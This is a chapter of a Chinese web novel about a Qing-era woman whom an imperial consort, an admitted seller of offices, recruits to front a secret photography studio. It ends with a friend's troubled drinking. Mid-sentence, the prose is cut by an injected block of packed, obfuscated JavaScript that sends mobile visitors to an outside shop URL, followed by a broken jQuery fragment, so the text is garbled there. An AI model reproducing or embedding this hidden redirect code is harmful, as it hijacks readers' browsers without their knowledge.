“宋小姐,你的照片一直不见你来取,我只好亲自来送了。”
宋槐安瞧着门外的两张面孔,心中满是愕然,珍妃和她的婢女怎么会知道她住哪?自己上次识破她们的身份,在茶馆装肚子疼走得那么狼狈,她们到底怎么找来的?
“你这人怎么回事?难道让我家小姐在外面站着等你吗?”吟冬趾高气昂地问道,鹤珍扭头递给她一个不满的眼神,她悻悻住了嘴。
宋槐安还在犹疑中,鹤珍将一张信封递给她,微笑着问道:“看在我出来送一趟东西也不容易的份上,宋小姐不请我进去坐坐?”
赵清如提醒宋槐安这胡同里人多眼杂,确实不是个说话的好地方,先让她们进来再说。宋槐安便接过照片,侧身请她们进来了。
宋槐安开门见山地问道:“你们怎么找过来的?你老公发我的通缉令了?”
鹤珍会心一笑:“宋小姐言重了,想必你也清楚,以我们的能力,在洗出你们的照片后要找到你们,只是个时间问题罢了。”
宋槐安知道她这是挑明了自己的身份,不再像上次初见那般有意遮掩,便应道:“不错,天子本人要在天子脚下找个照片里的人,的确不是什么难事。”
鹤珍从容一笑道:“虽然不知道宋小姐究竟是如何看穿我们身份的,但是不重要了。我此番前来,一为送相片,二来我也有很重要的事情想和宋小姐相谈,希望能得到一个合作的机会。”
宋槐安心下大惊,宫里的娘娘冒险出宫找自己一介草民谈合作?她图什么啊?
完了,八成她有什么不便亲自沾手的脏事需要用她的名义,有朝一日东窗事发了就把她推出去顶包,她招谁惹谁了……她就知道沾上这种位高权重的人不会有什么好事。
想通了这点,宋槐安瞬间冷了脸,沉声道:“别介,我算什么东西?我不配,甭管什么事,您免开金口,另请高明吧。”
鹤珍脸上温和的笑意渐渐敛去,神色端肃:“宋小姐,不问缘由便一口回绝,可不是待客之道。”
吟冬也为鹤珍鸣不平:“你这个人真不知好歹,我家小姐还什么都没说呢,你至少让她把话说完吧。”
宋槐安清楚拿阶级身份压人是一件非常无理的事,但现在只要能把这两位瘟神送走,多难听的话她都能说出口,她冷声道:“我和你家主子说话,有你什么事?你什么身份?也配命令我?”
“你!你太狂妄了!”吟冬气得脸色涨红,若不是鹤珍伸手拦在身前,当场就要与她理论个清楚。
其实她不过是个十来岁的少年,平日在宫中因着小主在万岁爷面前的恩宠,又是和鹤珍从小一起长大的情分,从来都是她吩咐别人做事的份。哪怕在皇后娘娘那里,她也是不卑不亢的,满宫人除了老佛爷,谁敢给她委屈受?她哪里受过这份言语上的折辱?
宋槐安顺势捡过话头,借坡下驴道:“是啊,我狂妄、我自大、我不知天高地厚,所以不管你们有什么脏活累活,可千万别派给我,不然我指定办砸。”
鹤珍轻笑一声:“宋小姐似乎对我有很大偏见,只是我很好奇,经营一家照相馆,的确辛苦,但应该也算不上什么脏活吧?”
宋槐安怔住:“啊?”
鹤珍抿了一口赵清如沏好的茶:“不然宋小姐以为我想和您合作什么上不了台面的营生?”
宋槐安沉默一阵后问道:“……皇上的宠妃,会缺钱吗?为什么想起来做这行?又为什么选我?”
“宋小姐有所不知,妃位年俸不过三百两白银。偏我是个爱铺张、花销大的性子,那点银子哪里够使?”鹤珍语气坦然,“索性也不瞒你,早前单靠卖官一途,进项也着实不少。”
她说着抬眼,正撞上宋槐安眼底压不住的鄙夷,却浑不在意地勾了勾唇:“既然有人愿意掏银子买官,就说明这世道本就有这个需求。不是人人都肯熬几十年寒窗苦读的苦头。难道旁人卖得,偏我就卖不得?”
“那便接着卖就是了,难不成是良心发现,打算金盆洗手?”宋槐安话里带着刺,其实她还有强行咽回去的后半句没说,“反正朝廷也没几天蹦头了,您抓紧卖吧。”
“我自然没想停手。前阵子单是四川盐法道那一个肥缺,我便落了四万两银子。”鹤珍语气平得像在说四两碎银,话锋却微微一转,“可谁不清楚,如今这大清的天下,我的枕边人说了不算。真正拿主意的人,是坐在帘子后头的那位。”
宋槐安与赵清如飞快交换了一个警惕的眼色。她在心底冷笑道:北洋水师仓库里的陈年老弹打出去都闷得没个响,你三百两年俸不够花,几万两银子就把盐道那般要紧的缺分卖了……行吧,我今日才算真明白,这大清朝具体是烂到根子里的。
鹤珍的语气忽然加快,带着一种明显的不服气:“可我没想到那玉铭竟然不学无术至此,万岁爷召见官员时,他竟连自己的名字都无法正确书写!从前虽也有德不配位的官员,可总不至于如此狼狈,此事传到老佛爷耳朵里,他自己丢了官不说,还连累我也跟着受罚……她疑心我向皇上吹枕边风,想分她的权,大言不惭说什么‘后宫不得干政’,彻底绝了我以后再卖官的路。”
宋槐安听得嘴角勾起一抹微妙的笑意,感觉像看了一出狗咬狗的大戏后,其中一只小狗委屈跑来自己面前控诉以后再也不能咬人了的故事。
她按下笑意,尽量不夹杂情绪地提问道:“照相这一行油水确实大,也有技术壁垒,你本身又喜欢这件事,的确很适合你。但是我有一个问题,你卖官被禁那是天经地义,难道你出宫来给人拍照赚钱,那位垂帘听政的老人家就听之任之了?现在皇上的妃子都能大摇大摆地出宫干兼职了?”
“她当然不会同意,我就是因为不想让她知道才找你的啊。”鹤珍说得一脸坦然,“莫说出宫给人拍照,连我在宫里留影,她都多有不悦。一会儿说养心殿前拍照是大不敬,一会儿说我穿男装拍照不合宫规,一会儿又说我教万岁爷用相机是用洋人的奇技淫巧带坏了他……反正无论我做什么,她都不会满意的,whocare?”
“至于为什么选你,一来你也是女人,和你往来即便被她的人发现,总归不会太惹眼。二来你我虽只一面之缘,但我看得出来你对拍照没有时人的忌讳,如果我雇别人,还要先做她的思想工作,而我不想浪费那个时间。三来我不喜欢和蠢人打交道,拍照和洗相这些步骤都非常考验经手人的技术,如果找一个蠢货,我怕我会在教她的过程中气伤自己。”
“宋小姐,相信我,和我合作,我绝不会让你吃亏的。我在东华门外买下了一处店面,位置非常好,最新的设备也已经海运到了,我希望能把店暂时挂在你的名下。每个月我会找机会像今天一样趁她听戏的时候溜出来,我们每个月盘一次账……每个月的利润,我们三七分成如何?你三,我七,怎么样?”
此话一出,倒是噎得宋槐安说不出话来,她有种上当了的感觉,却又觉得自己几乎被她开出的诱人条件说服了。
宋槐安还在想这种天上掉馅饼的事砸到自己是不是有哪里不合理,一个沉稳的声音却先她一步替她做出了回答:“四六——你六,她四。”
宋槐安瞪大了眼睛望向赵清如,难以相信这是她这种谨慎的人替自己做出的回应。她都有点不好意思了,觉得这样是不是太狮子大开口了?人家出店面和设备,自己纯出个人,三成利润已经很丰厚了,怎么敢要四成的?
“珍主儿,虽然从出资上来说,您占大头。但是这间店面一旦挂在我们槐安名下,她是承担着巨大风险的。如果将来有一天让老佛爷的眼线调查出你们之间的合作关系,她翻脸无情,您就算受罚,最多可能也就是降降位分,可她就不一定了。她整人的手段,我们大家心里都有数。”
这话说得宋槐安后背一凉,刚光顾着惦记发财了,怎么忘了这归根结底是件顶风作案的事,忽然间她就觉得要四成完全合情合理了。
鹤珍沉默半晌,问了吟冬时间后,她应下了赵清如的分成要求。离开前她和宋槐安约好了下次见面的时间,说届时如果有变动,会让一个姓戴的小太监出宫给她报信。
二人走后,宋槐安回想着今日的经历,笑得像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623617|204174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个中了彩票的傻子。
赵清如拆开了信封,小心翼翼地拿出了那张洗好的照片,生平第一次见到照片的她用手轻轻摩挲过相纸表面,感叹道:“好神奇啊,槐安,上面真的是我们两个人欸。”
宋槐安笑道:“如姐,你这话说的,也不能平白再多一个人啊,那不成灵异事件了?”
正说笑间,赵清之拎着一大捆宣纸跨进门来,额角沾着点薄汗,眼尖瞥见桌上的相片,伸手便拿了过去。他翻来覆去端详了两遍,语气里满是和姐姐如出一辙的惊叹:“哎哟,真的!这上头可不就是你们俩?虽说看着略有些发虚,可眉眼模样半分不差……竟连街对面布庄的幌子都清清楚楚的,跟那天见着的分毫不差,也太稀奇了。”
“谁让那天没叫上你呢。”宋槐安抱着胳膊扬了扬下巴,笑得爽快,“我今儿就把话撂在这,等我把照相馆开起来,头一张正儿八经的人像,就留给你拍。”
赵清之疑惑:“照相馆?你开吗?那得多少启动资金啊,你最近发财了吗?”
赵清如在一旁抿着唇笑,伸手轻轻点了点宋槐安的胳膊,语气里满是替她高兴的软意:“时运来了挡都挡不住。有贵人愿意出资帮衬,我们槐安啊,转眼就要成小富婆了。”
赵清之没问贵人是谁,但既然是姐姐亲口说的,那说明真有那么个贵人。他摩拳擦掌,一副跃跃欲试的表情:“什么时候开业?第一张照片真的拍我吗?那个贵人同意吗?”
宋槐安指尖扣住他的下颌,先往左轻轻扳转半圈,又缓缓转到右侧,端详两秒才下结论:“还不错。以我专业眼光评判,卖相完全过关,投资人那边肯定能过。等洗出来往墙上一挂,好歹算张能拿出手的样片。”
赵清之半点没有被人捏着脸打量的局促,反倒顺着话头算起账来:“那我这算客串模特了?等会儿,你这算不算使用我肖像?是不是得结一下出场费?就我这条件的模特,收费不得往上抬一档?”
宋槐安听得钱包都隐隐发烫,忙不迭松了手,吐槽道:“……下辈子我也得像你这么没脸没皮地活一回。”
宋槐安本以为那张合影最后会落在赵清如手里。毕竟画面里就她们两个人,她自己没兴致收一张面容发虚的照片,于情于理都该留给另一位出镜的人。
可到头来,好好收着这张照片的,偏偏是根本没入镜的赵清之。他说这是他这辈子见过的第一张照片,意义非同寻常,非得自己珍藏不可。
过了好几日,宋槐安才后知后觉地觉出不对来。
这天傍晚她照旧去给太阳投食,刚推开门,一股冲鼻的酒气便扑面而来。她愣在原地,赵清之素来不是贪杯的人,平日里多喝两杯便会满面通红,怎么会独自在屋里喝起酒来?
心猛地往下一沉。莫不是PTSD的症状加重了,竟要靠酒精来压?她下意识想去看他近日的画作,想从笔触里辨出他状态的好坏,目光扫过墙角摞着的画纸与颜料,却骤然顿住。那些东西还维持着她上次见时的模样,按他从前作画的耗损速度,分明是这些日子一笔都没动过。
身后忽然传来脚步声,她回头,正撞见赵清之推门进来。人瞧着还算清醒,眉眼间没什么醉态,脚下却发飘,步子踩得虚浮。她往前走了两步,还没凑近,他便像是被烫到似的,下意识往后撤了半步,眼神里藏着点心虚。
“你喝酒了?”
“……喝了一点。”
“是吗,什么酒?对艺术创作有帮助吗?能欣赏一下你最近的画吗?”
“……我、我最近没动笔。”
“能问问原因吗?”
赵清之的脸色一下子沉了,语气里翻涌着压不住的烦躁:“我画不画,跟你有什么关系?我亲姐都管不着的事,轮得到你插手?”
宋槐安往后退了两步,和他拉开距离。声音很轻,却带着点透出来的凉意:“抱歉,是我越界了。我总以为认识这么久,我们早该是朋友了,原来我连关心一句的立场都没有。”
赵清之喉结动了动,嘴唇翕着想说什么,可她没等他开口,已经转身快步离去。